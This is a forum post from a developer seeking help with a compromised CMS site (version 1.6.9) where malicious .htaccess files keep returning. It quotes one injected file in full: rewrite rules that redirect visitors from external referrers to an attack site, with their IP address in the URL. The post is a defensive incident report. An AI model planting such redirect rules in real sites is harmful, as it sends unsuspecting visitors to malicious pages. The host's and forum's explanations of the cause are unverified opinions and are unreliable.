Hello,
A client site running 1.6.9 started getting pages redirected to google.com about three weeks ago.
I found a slew of new .htaccess files littered through the site. They were causing the redirects to Google. The behavior and timing of this exploit matched exactly what is discussed in this Google webmaster forum:
http://www.google.com/support/forum/p/Webmasters/thread?tid=64fe7d9a9e90fe96&hl=en
The consensus on this forum is that this is php code injection targeting insecure installations of phpMyAdmin: http://forum.hackforce.ru/showthread.php?t=444
So I removed all the malicious .htaccess files. Two weeks later they reappeared, and I deleted them again. Yesterday, it happened again, this time the .htaccess files were a little different, instead redirecting to yagizmo.com, a known attack site. Here is what yesterday’s .htaccess files looked like:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . <a href="http://yagizmo.com/%{REMOTE_ADDR}">http://yagizmo.com/%{REMOTE_ADDR}</a>Meanwhile, I’ve been talking with my client’s host (aiso.net). My problem is they insist that their installation of phpMyAdmin is not the problem, but the cms is. Below is their latest response. (I find it interesting that they blame the “cms”, not sure if they know what cms they’re blaming):
We have already looked at phpmyadmin and that is not the issue. phpmyadmin does NOT let you upload htaccess files It only manages the database. This is 100% an exploit in the cms and if all htaccess files are not removed then the latest version of the software installed it will be just a matter of time before it gets infected again. That is because it comes in through port 80 which can not be blocked.
Would you like us to clean your site and update it?
I find their response questionable, since my understanding is that the htaccess files are generated by the malware, which got in possibly through phpMyAdmin. It seems silly to suggest that someone or something is literally “uploading” htaccess files through phpMyAdmin. Also I don’t think htaccess files can regenerate themselves since they’re not executable. Some software on the server would be generating these, right?
I’ve removed the malicious .htaccess files three times in the last month. It’s starting to feel like Whack-a-Mole.
Back to EE, I saw that version 1.7.0 includes this in the changelog:
* Fixed a security issue that in certain circumstances could result in arbitrary code execution.
I’d really appreciate some advice on whether the host is right and this could be an exploit targeting 1.6.9, or is phpMyAdmin the culprit and the host is just being lazy?
The client is willing to update to 1.7.0 is that’s the solution, but would rather not (we’re in the middle of a rebuild) if this won’t stop these recurring exploits.
Any help or suggestions would be most appreciated.
Thanks!